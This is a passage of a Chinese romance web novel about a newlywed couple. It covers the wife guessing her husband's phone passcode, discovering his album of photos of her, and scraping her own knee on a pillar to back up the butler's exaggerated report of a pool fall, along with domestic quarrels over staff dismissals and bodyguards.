看见她背身站在墙边,陆时聿微微一愣,“要用卫生间?” 大脑一片空白,还没来及想出理由,如今听他这么一说,江棠梨下巴直点。 陆时聿偏了下脸:“进去吧。” 心里盘算着等下要怎么溜到衣帽间的时候,却在脏衣篓里看见了他的西裤。 江棠梨忙伸手去摸,果然在口袋里。 兴冲冲地点亮手机,以为还和以前一样轻轻一滑就能进去,却没想到被设置了密码。 江棠梨愣住了。 脑海里滚出的第一个想法就是:他生日是什么时候? 依稀就只记得是16号,至于月份 八月还是九月呢? 又好像是三月还是四月,三十岁的话 江棠梨大着胆子试了几个后,屏幕被锁住了。 所幸只锁了一分钟。 江棠梨就这么蹲在脏衣篓旁边,心里默默数过60秒,结果又试了两个还是错误。 如果再错,下一次锁定就是15分钟,再错就会被永久锁定。 气得江棠梨把手机往脏衣篓里一扔。 有什么好试的,大不了她不看了! 出了卫生间,陆时聿也刚好从阳台回到客厅。 见她不仅嘴巴噘着,还一步一跺脚。 “怎么了?” 话音一落,就接到她剜过来的眼神。 去个卫生间而已—— 陆时聿眉心一跳,该不会是 视线落到床上。 虽然她又像上次一样,侧躺在床边,在身后留下一大片的位置。可陆时聿却不敢像上次一样,拍一拍旁边,说:过来。 这次,他绕过床尾,蹲在床边的地上,“怎么了?” 见她嘴巴噘着,没有丝毫要理他的迹象。 陆时聿抬手搭在她腰上:“是不是不舒服?” 江棠梨:“” 她的表情看起来不是生气,而是不舒服? 感觉到他的手往她胯上移,江棠梨刚一皱眉—— “肿了吗,还是撕裂了?” 正一头雾水着,却看他起身坐到旁边,手还去掀她的裙摆,江棠梨忙按住他手:“你干嘛?” “我看看。” 江棠梨整个人都懵怔怔的:“看什么?” 可随着他手指的动作,江棠梨脸红的同时也瞬间坐起来,刚想恼他—— “我去门口药店问问看有没有什么可以涂抹的药。” 来不及深想,江棠梨忙拉住他手:“不、不用。” 本来是打算今晚都不理他的,可是被他这么一误会,而且是因为关心产生的误会,江棠梨也不知怎的,心突然就软了。 可是他为了防她,给手机设置了密码。 都说:如果不打算分手和离婚,就不要翻男朋友或老公的手机。 现在好了,别说翻,她连进都进不了。 还说对她一见钟情,还说爱她! 可是刚刚她连自己的生日都试了,也是错的。 想想,突然觉得好委屈,鼻子一酸,眼眶一热,眼底顿时蒙上了一层雾气,一眨眼,眼泪坠在了睫毛上。 看得陆时聿怔愣的同时,只觉胸口像是被什么扎了一下。 只是不等他开口—— “你一点都不爱我!” 本来还慌张到手足无措,如今听她这么一说,陆时聿突然就弯了眼角。 他两只手捧起她脸,“怎么会不爱你?” 他是不知道自己有多爱她,还能有多爱她。 “那你怎么、怎么都不把你的手机密码、设、设置成我的生日?” 她眼泪滚得凶,说起话来都连不成句。 陆时聿听得微微一愣,“手机密码?” 江棠梨也没想到自己怎么就脱口把这事给说了出来。 哭声停了,只剩胸口起伏的抽噎。 陆时聿像是意识到了什么,扭头往卫生间方向看了一眼后收回。 和那双婆娑泪眼对上。 陆时聿很轻地笑了一下:“为什么一定要是你的生日?” 江棠梨:“” “就不能是我们的结婚纪念日吗?” 江棠梨打了个哭嗝,“结、结婚?” 他们不是还没有结婚吗? 难道说,他说的是领证那天? 她哭得额头是红的,鼻尖也红了,陆时聿弯着食指,接住她下颚坠而不落的一滴眼泪。 “几月几号还记得吗?” 江棠梨大脑有一半都是空白的,眸光乱转间,想了好一会儿没想起来。 见她久久不出声,陆时聿眼底闪过浓浓失落,可是她脸上的泪痕却那么精准地卡着他的喉咙,让他一个重音都咬不出来。 “这么重要的日子都不记得了?” 他语波过于柔软。 江棠梨抬头看他。 要怎么形容他此时的眼睛呢? 像是梧桐落叶下的晚秋,又像古老森林里的迷雾。 让人不知要如果揣测他的情绪。 然而陆时聿却低头亲在她眼角,很轻的一个吻,离开时,他手在江棠梨的头顶上揉了揉:“我去把手机拿来。” 再回来,陆时聿就把选择权交给了她,“是睡在床边,还是来我这?” 见他姿势后靠,一手拿着手机,一条胳膊展开,江棠梨迟疑了几下后,慢慢地挪了过去。 不知是不是因为他肩膀的宽阔,每次被他拢在臂弯里时,江棠梨总觉得自己就像是一只幼小的山雀 走神间,她看见陆时聿手指慢速地点在手机屏幕。 “记住了吗?” 原来是3月23,她刚刚一直在想是不是24。 江棠梨小金鱼似的鼓了鼓腮:“我一直都记着的。” “一直记着?”陆时聿轻笑一声:“那你刚刚怎么不说?” 江棠梨仰头看他一眼:“因为你问的问题很愚蠢。” 换成别人或许还能被她蒙混过关。 但有些时候,陆时聿还是太了解她了。 若是她真的记得,刚刚绝对会沾沾自喜,甚至趾高气昂。 不过陆时聿没有拆穿她。 女孩子嘛,总会有一些自己的小骄傲。 她想要,而且又想让他给,那他为什么不能满足她呢? 随着他手指几下轻点,并把屏幕竖在她面前时,江棠梨下意识地挡住了摄像头。 “你干嘛?” 她仰头,他低头,视线相接时,陆时聿低头亲在她眉心。 “人脸识别不比密码还要方便吗?” 他在心里对自己说过:只要是她江棠梨想要的,他都会捧到她面前来。 所以,区区一个人脸识别又算得了什么。 当然,相比这种微不足道,他还有一个更大的惊喜要送给她。 第50章 江棠梨却听愣住:“所以你设置密码不是防着我的?” “防着你?”陆时聿失笑:“我防着你做什么?” “因为你下午都不让我碰你手机啊!” 陆时聿:“” “而且你当时的表情也很心虚,好像你手机里有什么秘密是我不能看见似的。” 见他不说话,偃旗息鼓的那些怀疑瞬间涌上心头。 江棠梨一把夺过他手里的手机,先是把人脸识别设置好,然后就开始检查了。 虽然她没翻过男人的手机,但现在社交平台的知识面实在是广,各种教人怎么查男朋友老公的方法层出不穷,且都是被事实证明一击命中的。 可让她万万没想到的是,陆时聿的手机里根本就没有那些团购外卖又或者购物APP。 两个页面来回翻转,江棠梨指尖悬在微信上方,抬头:“我点喽?” 陆时聿唇角的弧度从始至终就没下来过,没说话,但眉梢轻挑,下巴轻抬。 江棠梨心里藏着兴奋,指尖一点,入目就是消息列表上的第一个:「大梨梨」。 江棠梨抬眼看他:“你是把我置顶了吗?” 陆时聿不答反问:“那我是被你置顶的那一个吗?” 江棠梨顿时把脸一低:“就算不置顶我也能看见。” 到时会给自己开脱。 然而陆时聿却揪着不放:“那被你置顶的是谁?” 江棠梨给他一记警告的眼神:“是我查你还是你查我?” 可是她哪里能查到什么。 连一百个好友都没有的通讯录,江棠梨从头数到尾,就七个女人。 点开,就只有寥寥数句有关工作的。 干净的都不像正常人的社交圈。 但是她突然想起来:“你另个手机呢?” 她问得认真且严肃,陆时聿却早已在一旁笑到扶额。 “宝贝,”他声音里全是愉悦:“你知道你现在像什么吗?” 他接住江棠梨那双奶凶奶凶的眼神,嘴角笑痕依旧:“唯恐老公出轨的——” 似乎是觉得“小怨妇”一词和他的内心并不相符,他又换了一个词。 “小娇妻。” 江棠梨往他面前凑近:“那你知道什么样才算是小娇妻吗?” 陆时聿饶有兴致地问:“什么样的?” “看似依赖却并不软弱,而且还有很强的独立性。” 陆时聿目光凝在她脸上,看似清纯娇憨,可若是挠起人来爪子却异常锋利。忍不住就抬手在她脸上蹭了蹭:“很像你。” 像她? 江棠梨微微一怔,“我哪里依赖你了?” “不能依赖我吗,”陆时聿不答反问:“还是说,我不值得被依赖?” 这话不乏疑问句式的肯定,听着让人心窝暖暖的,也软软的。 可江棠梨并不是一个两句话就会被PUA的人。 特别是她心头疑惑未消。 “别岔开话题,”她手往他面前一伸:“另个手机拿来。” 视线从她的掌心缓缓抬到她脸上,陆时聿后背离开软靠,直起腰来:“那你先告诉我,如果查不到怎么办。” 江棠梨眼皮轻轻一跳:“查不到就说明你身家清白,这有什么怎么办的。” 陆时聿却缓缓摇头:“这可不公平。” 听着像是有条件。 江棠梨皱了下眉:“那怎么才公平?” 陆时聿故作思索:“如果什么都查不到,那周日你要陪我——” 不等他说完,江棠梨就打了个哈欠:“好困哦~” 见她往下一躺,陆时聿笑出一声无奈的气音:“不查了?” 江棠梨眼角一弯:“我信你。” 说她是只狡猾的狐狸,真是一点都没错。 陆时聿抬起胳膊伸到她头顶:“过来。” 刚一说完,江棠梨就乖乖挪了过去。 倒不是心虚刚刚的哈欠,更不是威慑于他语气里的命令,而是被他抱着睡真的很舒服,比抱着枕头还要舒服。 陆时聿喜欢把下巴轻抵着她额头,“以后早上要和我一起吃早饭,听见了吗?” 江棠梨鼻子一囊:“哦。” “出行也要尽量让张师傅接送你。” 江棠梨嘴角直撇:“哦。” “另外,保镖也找好了,明天——” “你怎么还给我找保镖了,”江棠梨仰头看他:“我又不是什么明星。” 陆时聿低头看她:“你以前也不是明星,你二哥不是也安排了两个保镖跟在你身边?” 江棠梨:“” 这件事上,陆时聿虽然不是和她商量的态度,但也知道她吃软不吃硬。 “有保镖保护你,我会放心。” 江棠梨在心里哼他一声。 说的好听是保护,其实就是监视。 见她又噘嘴,陆时聿低头亲过去:“别让我担心,嗯?” 就会拿这种软乎乎的调子磨人。 江棠梨往他怀里一拱:“我要帅的!” 刚一说完,陆时聿就在她腰上掐了一把:“不想要你的B照了?” 一天天的,就会威胁人。 气得江棠梨张嘴就咬了他一口。 陆时聿眉心一紧,握着她肩膀的手也不自觉用了力。 这次,他是真的威胁上了:“你信不信,我真能让你跪着。” 吓得江棠梨双齿一松,眼睛一闭。 可是她却睡不着。 头顶传来的呼吸声愈渐均匀,可她的心跳却在黑暗中轻轻回响。 鼻息间每一缕气息都因他那句警告而染上了不可描述的旖旎。 江棠梨在他怀里悄悄抬起头,第一次发现,原来他睡着时利落硬朗的下颚线有一种难以亵渎的清冷感,和他顶)胯时的凶猛,忍住不身寸时的难耐,简直就是两个极端。 好割裂。 却又有一种反差的性感。 突然很想用手机把他睡着的样子拍下来,这要是传到微博—— 偷笑的嘴角突然一收。 照片! 她怎么把那么重要的事给忘了! 怕把他吵醒,江棠梨没敢从他怀里出来,只小心翼翼的在他怀里转了个身。 结果手刚一往床头柜上伸,后颈就传来了一声略重的呼吸。 吓得江棠梨连身带手全部僵住。 这要是被他发现,周日势必要被他掳去陪他出差。 但是等了一会儿,不见身后的人有动作。 江棠梨这才绷直了手指。 幸好手机有一半都伸出了柜角。 暗色里,屏幕无声解锁。 江棠梨把屏幕亮度调到最暗后,点进相册。 两个分组,一个是系统相机,一个备注着「梨梨」。 虽然不是她喜欢的「宝贝」,却又被另一种柔软击中她心脏的某一处。 点开,明明是一张张缩略图,可每一张都能清楚看见她的脸。 一共89张照片,全是她。 准确来说,一整个相册里全都是她,只有她。 光是那张被江棠梨觉得丑的照片,就被他以不同角度地照了七张。 还有订婚那天的晚上,她坐在矮凳上吃着羊肉串的照片。 不知是他拍照技术问题,还是他就喜欢刁钻的角度,拍的好几张都是她囊着鼻子、龇着牙齿把肉从铁签上掳咬下来的画面。 看得江棠梨嫌弃到都想删掉,可是一想到被他宝贵得存着,又有点舍不得。没辙,她索性下了几个平常会用的P图软件,就这么一张张地修着 迷离的夜,月亮不知什么时候躲进了云里。 浓浓夜色在一张张修好并保存进相册的时间里,被淡出了浅浅灰白。 陆时聿习惯早上醒来把唇抵着她额头亲一亲才会睁开眼,可今天唇上的触感却不太一样,睁开眼发现是她的后脑勺。 不生气的情况下,她从不会背对着自己。 陆时聿欠起肩膀去看她的脸,却见她放在枕头边的手里拿着自己的手机。 这么不怕他发现,想必是看着看着不知不觉地睡着了。 结果嘴角刚掀一缕弧度却又突然一收。 陆时聿几乎来不多想就将手机拿到了手机,屏幕解开后跳出的界面就是她的照片,只是没想到,那张照片却不是来自相册,而是很多专业摄影师才会用到的一款图像处理软件。 短暂怔愣后,陆时聿偏开脸笑了。 笑着退回到界面,发现上面还有美图秀秀,以及一个利用人工智能技术处理图片的软件。 修个照片而已,连人工智能都用上了。 陆时聿都能想到她来回切换软件时的动作。 大半夜的不睡觉,修图修到睡着。 想必是把所有照片都修得差不多了,结果点进相册,发现照片才从原来的89张变成了117张。 明明可以省事地将那些她不喜欢的照片直接删掉,可她却花时间花精力地一张张去修。 看着那张安静乖巧的铺躺的眼睫,突然就不想起了。 短暂在脑海里梳理了一下今天的工作行程后,陆时聿给陈敬发了一条简短的短信。之后,他不忘把手机调成静音。 将背身对他的人转到怀里的动作不算很轻,却见她连眼睫都不抖一下。 让人不得不怀疑她是不是天亮了才睡。 无奈里又带着一点心疼,陆时聿低头吻在她额头。 一觉睡到日上三竿对江棠梨来说不算稀奇,可对陆时聿来说却是史无前例。 所以看见两人手牵手地从楼上下来时,李管家吃了一惊。 “陆总,您什么时候回来的?” “昨晚。” 李管家当然知道是昨晚,“我是说您上午什么时候回来的。” 自己从七点进门到现在,他可是连门都没出。 陆时聿看了他一眼,“刚起。” 瞥见李管家张开了嘴角却又什么都没说的表情,江棠梨突然想到昨晚在客厅 视线往沙发那儿溜了一眼后,话不经大脑地冲了出去:“李叔,昨晚我喝水撒到了沙发上,回头你让人清理一下。” 在李管家点头的一声“好”里,陆时聿皱眉看她。 把江棠梨看得眼睫乱抖。 等到李管家走开—— “你知不知道有句话叫此地无银三百两?” 还好意思说她呢! 江棠梨剜了他一眼,“就算有银子,那也是你丢的!” 说完她把手一抽:“李叔,中午吃什么呀?” 小巧灵活的背影只不过画了一条弧线,却像是一罐颜料泼洒在了客厅。 以前不觉得这个家死气沉沉,现在多了一个她,倒是随处可见的鲜活生气。 可是再鲜活也不至于吃个午饭还在那咯咯咯地直笑,重点是,她又像昨天一样,开始手机不离手。 “知道吃饭时间看手机会消化不好吗?” 却见她好像没听见似的,陆时聿抬手将她手机夺过来放在了一边。 “喂——” “吃完饭给你。” 江棠梨:“” 怎么会有这种老公,不管她穿衣却管她玩手机! 江棠梨戳着手里的筷子,一边吃,一边瞪着他。 然而陆时聿却一个眼神都不接她的,只说:“快点吃,吃完跟我去公司。” 江棠梨连原因都不问:“我不去。” 陆时聿眼皮轻轻一抬,“照片修完了吗?” 刚从他脸上收回的视线又一秒回到他脸上,江棠梨不可置信地看着他。 陆时聿接连夹了两块菜到她碗里,继而半带轻笑地说:“不赶紧修完,万一又被我挑了一张丑的——” “你敢!” 陆时聿盛了一碗汤往放到他面前,“听话,我就不敢。” 换言之,她不听话,他就什么都敢? 江棠梨咬了咬下唇。 真想把床上骂他的那些再让他温故知新一遍! 但是让陆时聿没想到的是,饭一吃完,她那恨不得将他吃掉的眼神就变了。 “真是好看。” 李管家在,陈敬也在,她却旁若无人地捏着陆时聿的下巴,端着他的脸看。 陈敬忙把脸一偏,看天看地。 李管家是根本站不住,“哎唷”一声就往外走:“鱼我给忘记喂了。” 陈敬哪好意思一个人待着,赶紧追上去。 人都在的时候,陆时聿就没躲开她的手,更何况四下无人。 他甚至把搭在沙发扶手上的胳膊抬起环抱在身前。 “有多好看?” 他目光有着午后的慵懒,但从嘴里说出的话却是:“比你手机还好看?” 什么都能成为他吃醋的对象。 江棠梨捏着他下巴的手一松,“你改名吧陆总!” “改成什么?”他心情好,揶揄自己也觉得是种乐趣:“陆醋吗?” 他摇头:“不好听。” 江棠梨都想把他说的这些给录下来发到网上。 让广大网友一睹他的真面目之外,再顺便和昨天夜里她晒的那张「日常」比比谁的点赞更多! 当然,这一切,陆时聿还被蒙在鼓里。 直到第二天下午楼昭电话打来。 “我马上有个会,快说。” 楼昭笑:“白天挺像那么回事,怎么到了夜里”他停顿了一下:“你身体里是有什么开关吗?” 陆时聿听得一头雾水:“什么开关?” 他话都说成这样了,这人还在跟他装无辜。 楼昭以前还觉得自己挺了解他的,原来是知面不知里。 特别是身边有了女人以后,这面子和里子就越发对不齐了。 想到他单身这么多年,楼昭叹了口气—— “想秀恩爱能理解,但也不至于跑到微博,你那个账号多少粉丝你不知道?” 陆时聿以为他说的是江棠梨歪睡在吊床里的那张,但是又想到他之前睡的白天和晚上 他连声招呼都没打就挂了电话。 登上微博发现,从回来那天开始,他已经连续营业了两天。 虽然不是出自他手,不过,能把他和她耳朵尖上的小痣都拢入镜头里的,除了家里那位,也不会有第二个人。 只是这日常,为什么非要选在深夜,还是他睡着的时候,难道她不知道发这样的照片会惹人遐想吗? 陆时聿随手点开评论。 「天呐,这到底是官号还是私人号,我没走错地方吧?」 「大半夜不睡觉,我就说能吃到好的吧!」 「不敢想这么晚没睡,是刚忙完公事还是私事。」 看得陆时聿眉心越拧越深之际,他眸光一顿。 所以这两天她时不时对着手机傻笑是因为这些评论? 若不是有一个很重要的会,陆时聿还真想立马找当事人算账,但不妨碍他一个电话打过去。 却没想到一连两个电话都不见人接。 陆时聿只能打给了李管家。 “太太在家吗?” “在的。” “让她接电话。” 李管家颇感为难地看向泳池:“太太刚下水。” “下水?”陆时聿皱眉,“在游泳?” “是的陆总。” 早上以例假来了肚子疼为理由不跟他来公司,也就半天的功夫,例假就结束了。 “二十分钟后,让司机送她来公司。” 为了不打扰太太的雅兴,李管家便没有立即去汇报,一直等到江棠梨撑着池边上岸—— “噗通”一声里,李管家顿时脸色惨白地跑过去,“太太,太太,小刘,刘经理,人呢——” “别喊!” 一扭头,见她不仅从水里站了起来,还收放自如地拨着水面走过来,李管家脸上这才回了几分血色。 “您没事吧?” 江棠梨揉了揉发疼的胳膊,“没事。” 就是一不小心胳膊发软,这才掉回了水里。 但是李管家手一指:“太太,您膝盖流血了!” 吓了江棠梨一跳,低头一看,哪有流血,就是蹭掉了皮略微发红,结果头顶突然传来一声:“陆总——” 抬头,只见李管家手机贴耳,正在夸张汇报:“太太从池边掉下去了!” 会议进行中,没有特殊情况陆时聿一般不会接听电话,但李管家能在这个时候打来,想必是有关江棠梨的,却没想到会听到这样的消息。 “有没有事?” 他是中断会议出会议室接的电话,可即便这样,厚沉的声音还是传进了身后的门缝里。 相比他,李管家声音更显慌乱和焦急:“怎能没事,那么深的池子,太太噗通一下就栽下去了,这、这膝盖都流血了。” 江棠梨:“” 都不敢想,某人回来要是没看见血,是不是会气到吐血。 越想嘴角越抿不住,江棠梨用手捂嘴,笑声倒是没传出来,但是肩膀却抖个不停。 结果被李管家看在眼里,“陆总,您快点回来吧,太太都疼哭了。” 江棠梨手就这么拿了下来。 但是嘴角的笑痕还没来及收,看得李管家一愣,但是不等他改口就听话筒那边说:“打电话给张医生,我现在回去。” 在陆家工作这么多年,李管家自认为从未有过差池,但今天这事,他的确是有失妥当。 特别是回去的路上,太太问他—— “李叔,陆时聿跟您发过火吗?” 没了之前的慌张,李管家回到平日里的谨慎:“陆总情绪向来稳定,不是一个随便发脾气的人。” 江棠梨却摇头:“但是他跟我发过脾气。” 李管家:“” “你知道因为什么吗?” 李管家摇头。 江棠梨长长叹一口气:“因为我的夸张,让他的担心落了空。” “啊?”李管家不解:“担心落了空难道不应该庆幸吗?” “我也是这么以为的,但是对他来说,与事实严重不符的也是一种欺骗。” 李管家:“” 江棠梨又说:“李叔照顾他多年,想必知道他是个挺较真的人吧?” 李管家点头:“陆总向来很有原则。” 总能将她话里一些不太好听的词加以修饰,可见他是有多维护陆时聿。 这要是不被她捏住点小把柄,那以后她岂不是整日生活在流动的摄像头底下? 刚好走到门口,江棠梨站住脚。 “不过他有原则是他的,我可没那么多的条条框框,”她唇角小幅度地弯了弯:“毕竟李叔平时这么疼我。” 李管家一时之间没领会她的意思:“太太” 江棠梨抬起胳膊,“本来就很疼嘛,”她又看了看膝盖:“而且也的确擦破了皮。” 但是她有些惋惜:“可惜没流血。” 不远处的廊柱上雕着梅兰竹菊,看似光滑,可是凹凸的花纹却经不住细皮嫩肉的刮噌。 李管家忙小跑过去将她往后一拽:“太太,您这是做什么?” 他被她膝盖上一道道的血痕吓得脸上失了血色。 江棠梨却笑得眉眼弯弯:“这样就不能说李叔骗他啦!” 50-60 第51章 在李管家的印象里,这位江小姐虽然乖张任性,但底子却是良善的,只是没想到,发起狠来,会对自己下手。 可是除了不可置信外,李管家却也被她的举动动容。 “我只是一个管家,不值得您这样伤害自己的身体。” “但是你是一个很疼我很疼我的管家。” 这让无儿无女的李管家一时红了眼。 他忙掏出手机:“我来给张医生打电话。” 陆时聿回到家的时候,江棠梨膝盖已经被缠了纱布和绷带。 伤口的确是张医生处理的,纱布也是张医生贴上的,但是绷带是江棠梨让李管家去买的,就在陆时聿回来的两分钟前,刚被江棠梨自己缠上。 “怎么这么严重?” 陆时聿蹲在她膝盖前,手抬着,想碰却不敢碰。 回来的路上,他一直在想,栽下去也是掉水里,怎么会流血,而且水池边那么光滑,可是事实摆在面前,他觉得一切逻辑都是扯淡。 江棠梨眉心卷着,鼻子囊着,嘴巴扁着,哪怕一字未说,也足够写尽委屈。 视线在她脸上停留几秒,陆时聿的心就揪紧几秒。 但是当他一回头,眼神就变了,上一秒写尽心疼的一双眉眼此时如鹰一般:“你不是跟着的吗,怎么会让她掉下去?” 但是他刚一质问完,脸就被江棠梨双手捧了回来。 她嘴一噘:“不许凶李叔。” 陆时聿并不想发于事无补的火,可是一看到纱布外渗出的血渍 他深吸一口气,“我带你去医院。” 江棠梨忙按住他伸到自己膝盖下的胳膊:“张医生说休息几天就没事了。” 说到张医生,陆时聿眼底瞬间一片冷色:“他人呢?” 李管家忙往前走了一步:“张医生说所里还有两个急症病人,就先回去了。” 陆时聿缓缓直起腰,眼底快被那白色纱布缠满了。 “让他以后别来了。” 江棠梨没想到自己这点小伤会被他如此发作,一时来不及顾及他的本意。 “陆时聿,你怎么能这么不讲理?” 他不讲理?这个时候,他需要讲什么理? 陆时聿凝眸看了她几秒,话锋一转:“倒是你。” 矛盾突然对准自己,江棠梨表情茫然住:“我、我怎么了?” 陆时聿抬手往后轻轻一挥。 待李管家离开,陆时聿居高临下的视线从她的膝盖缓缓抬到她脸上。 “不是说肚子疼来例假了吗?” 江棠梨:“” “来例假还能去游泳?” 一连两个质问,让江棠梨半天没说出话来。 倒不是心虚,而是没想到自己都伤成这样了,他竟然还会跟她秋后算账。 哪还有心思在他面前扮弱,江棠梨蹭的一下站了起来,“对,就应该摔死我!” 说完,她头发一甩,肩膀一转。 结果没走两步就被陆时聿从身后拦腰抱了回来。 “你干嘛!” 陆时聿接住她怒气冲冲的眼神:“都伤成这样了还能跟我发脾气?” 短短一句话,瞬间让江棠梨反思了自己。 于是上一秒被陆时聿放回沙发里,下一秒就她搂住了陆时聿的脖子。 “老公,好疼~” 不是撒娇,而是比撒娇更能让陆时聿束手无策的哭腔。 陆时聿俯腰任她抱着的动作许久都没有动一下,被江棠梨拉低几乎埋在她颈窝里的脸,全是因他照顾不周而受伤的自责。 像是说再多的对不起都于事无补。 所以他什么都没说。 只是略重的呼吸一下又一下地从他鼻息间斥出来。 江棠梨忍着皮肤里的痒意,不自觉地有了几下轻微的抖肩,陆时聿以为她是疼,抬头间,握住了环抱在他后腰的手腕。 “还摔到哪儿了?” 江棠梨忙把自己的左胳膊肘给他看:“这里。” 和她膝盖上触目惊心的纱布相比,这处几乎看不出异常,但却是真的疼。 陆时聿刚碰到,江棠梨就狠狠“嘶”了一声。 陆时聿不碰了,“带你去拍个片子。” 虽然伤的过程含着水分,但结果却是真真实实摆在他眼前的。 所以江棠梨并不担心被他发现什么,但他过分的担心却会加重她的自责。 “张医生说没有伤到骨头,不用拍片子。” “别跟我提他。”陆时聿毫无留情:“从上次你在卫生间摔倒,我就想把他辞了。” 江棠梨不解地扁了扁嘴:“摔倒是我不小心,怎么能怪人家。” “但是他作为家庭医生,应该护理在一旁。” 他语气有着强烈的不满和追究其责的强硬。 可江棠梨不想因为自己让别人丢了工作,无论直接还是间接。 所以她问:“如果没有今天这事,你还会辞退他吗?” 陆时聿口风依旧:“只要他是这样的工作态度,结果不会变。” 真不知该说他较真还是薄情。 既然结果改变不了,江棠梨只能尽力争取:“那你得多赔人家一点钱。” 陆时聿失笑,手捏在她脸上:“你当你老公的钱是大风刮来的吗?” 江棠梨以为这事就这么结束了,结果没一会儿的功夫,李管家回来,说是负责泳池日常养护清洁工作的刘经理来了。 陆时聿也不是谁都会见,挥手让李管家去处理。 江棠梨晃了晃他手腕:“你不会也要把人家辞退吧?” 陆时聿说:“安全也是他们日常工作的重要一项,可是在你掉下水后,他们却没有及时出现。” 江棠梨觉得他好苛刻:“水池都不深,我也没呛着水。” 陆时聿目光定在她脸上,“那如果水深了呢?如果你呛了水呢?” 江棠梨说不出话来了。 没一会儿的功夫,李管家回来,“陆总,已经处理好了。” 「处理」两个字,让江棠梨心里咯噔一下:“辞了?” 李管家看了她一眼后,垂下脸。 江棠梨:“” 自己掉下水,竟然把一群人都拉下了水。 怔愣间,听见陆时聿厚沉的语调喊了一声“李管家。” “你在陆家工作多少年了?” 李管家垂在身侧的双手缓缓蜷紧:“回陆总,已经二十七年。” “二十七年,”陆时聿浑厚有力的嗓音微沉:“太太嫁进来才多久?” 江棠梨顿感不妙,这人该不会想把李管家也一并辞退吧? “今天的事是我的失职,”李管家声音微颤:“陆总若是——” “陆时聿!” 江棠梨尖锐的声音打断了李管家的话。 听得李管家心头一惊,也让陆时聿扭头看过来。 见她不顾膝盖的绷带竟然站了起来,陆时聿眉心一紧,只是还未来及开口,就听她说—— “你要是敢辞退李叔,我就和你离婚!” 眼皮轻跳间,陆时聿的目光从她膝盖缓缓抬至她脸。 “你再说一遍?” 李管家也万万没想到江棠梨会为了他一个小小管家,以离婚来要挟陆总。 他大惊失色地往前迈近了一步,“太太,您怎么能——” “出去。” 话被旁边一道冷音打断,李管家望过去一眼,想说什么,却又被陆时聿那双暗涌的眸色堵于喉间。 被刻意放轻的脚步声渐远,安静的客厅里,只剩无形的压迫感。 陆时聿依旧沉坐于沙发里。 但是微仰着脸,带出他锋利的下颌线。 他看着面前只要他一伸胳膊就能将其拽到怀里的人,嗤出一声气音来:“因为一个管家,你要和我离婚?” 江棠梨知道自己不该说那么重的话,可还有什么比离婚更有震慑力的吗? 她眼神有着居高临下的俯视,但是心却是悬着的。 江棠梨错开他紧盯在自己脸上的目光,“我是说如果,不是绝对。” 然而陆时聿却仿若未闻,“所以在你心里,我的分量和李管家是一样的?” 江棠梨把他的话在心里品了好几个来回才品出醋味来。 天呐,这人怎么连李管家的醋都吃? 不可置信间,又见他缓缓摇了摇头。 “不对,你既然能为了他和我离婚,那说明在你心里,我还不如他,”这个结论让他锋利的眼角又添尖锐,紧攫在江棠梨脸上:“我说的对吗?” 见过能吃醋的,没见过他这么能吃醋的。 恨不得把自己淹死那种。 重点是,这醋,让人无从解释。 江棠梨索性岔开话题:“李叔在你们陆家做了27年,你确定你要这么这么不念旧情吗?” “所以你是觉得我冷血?连一个管家都不如?” 男人吃起醋来都是这么不可理喻吗? 江棠梨不想在他气头上和他争这些子虚乌有。 “我觉得你现在需要冷静一下,等你想好了,我们再谈。” 说完,江棠梨朝他抿唇一笑,回了楼上。 陆时聿自问,如果调换身份,自己绝对不会放任她情绪塌陷,他一定会陪在一旁,纾解、安抚,就算什么都不说,他也一定不会离开。 可是她却潇潇洒洒地给了他一个背影。 爱与不爱,很明显。 但爱与不爱,结果都不会变。 不过,一个人冷静,真的会捋出很多个细枝末节。 陆时聿从不会让自己陷入对情绪、对真相毫无帮助的胡思乱想里。 所以他去了泳池,调出了监控。 之后,他回到方塘边的茶房。 很快,李管家来了:“陆总,您找我。” 陆时聿倒了一杯茶,推到对面:“坐。” 李管家没敢坐,“陆总,您是有什么话要跟我说吗?” 他已经做好了最坏的打算。 陆时聿侧转过身看他,没有兜圈子,直切主题:“我想知道,那么光滑的泳池边,太太的膝盖怎么会流那么多的血。” 李管家双手顿时蜷紧。 见他不说话,陆时聿笑了笑:“太太是个什么性子,我比任何人都要清楚,可她再怎么任性刁钻,她永远都是陆太太,这个身份无人可替代。但是李管家,” 他眼神半眯,温和的眼底,一瞬暗了底色:“你就不一样了。” 李管家照顾他多年,虽然到现在还看不清他眼里的全貌,但深知他喜怒不形于色。 没想到碰到太太的事,竟会让他情绪如此外露。 李管家深感震惊的同时,哪里还对他有半分隐瞒。 只是没想到,全盘托出后,不仅见他眉心舒展,冷峻的轮廓都温柔了。 李管家不敢心存侥幸,“陆总,您千万别生太太的气,太太只是不想我的言过其实被您责怪。” 陆时聿了然于心地笑了。 真要这么善解人意就不是她江棠梨了。 怕是这刻意拉拢的背后,又打起了对付他的小算盘。 当然,陆时聿并不打算在江棠梨面前戳穿此事,但也没想到,这人的心会这么大。 看着床上已经熟睡的人,陆时聿硬生生被气笑了。 可是怎么办。 膝盖受伤的理由是假,可是流的血却是真的。 视线落到她脸上。 娇娇柔柔的一张脸,像是黎明初生的晨露,有种不谙世事的天真,可发起狠来,却连自己都伤。 真是小看她了。 再回楼下,见李管家推着两个行李箱站在楼梯口。 陆时聿瞥他一眼,“和太太联合起来骗我,现在谎言拆穿了,就要弃太太于不顾一走了之了?” 李管家:“” 他倒是想留下来,可哪还有什么老脸啊! 陆时聿视他的行李于不顾:“和刘厨叔一声,今晚准备一份烛光晚餐。” 见他径直就往门口走,李管家丢下行李,小步追上去:“您这是要出门吗?” “公司还有一点事。”说完,陆时聿回头看他。 李管家瞬间懂了他眼神:“陆总放心,我知道怎么说。” 陆时聿往楼梯方向看了眼:“她在睡觉,先让刘厨准备些她爱吃的甜食,留着她起床后垫垫肚子。” 江棠梨没想到自己会睡着,睁眼,房间漆黑一片,惊得她瞬间坐了起来。 “李叔,李叔!” 陆时聿走后,李管家还特意出门买了几束鲜花,这会儿他正在给花剪枝,听见声音,他忙放下手中的剪刀和花枝。 “太太,您醒了。” 见他从客厅方向跑过来,江棠梨忙止步于高于平地的一阶楼梯上,等到李管家走到她面前,江棠梨才压着声问:“陆时聿呢?” “陆总去公司了。” 江棠梨愣了一下:“什么时候走的?” 李管家看了眼时间:“已经有三个小时了。” 现在是八点,三个小时 那就是五点走的。 那离她上楼,中间只隔了一个小时。 江棠梨飘转的视线落回到李管家脸上,“他有没有要辞退你?” 李管家笑了笑:“这事还要谢谢太太,若不是您,我这副老骨头怕是要卷铺盖回家了。” 江棠梨顿时松了口气。 还算那家伙有点良心。 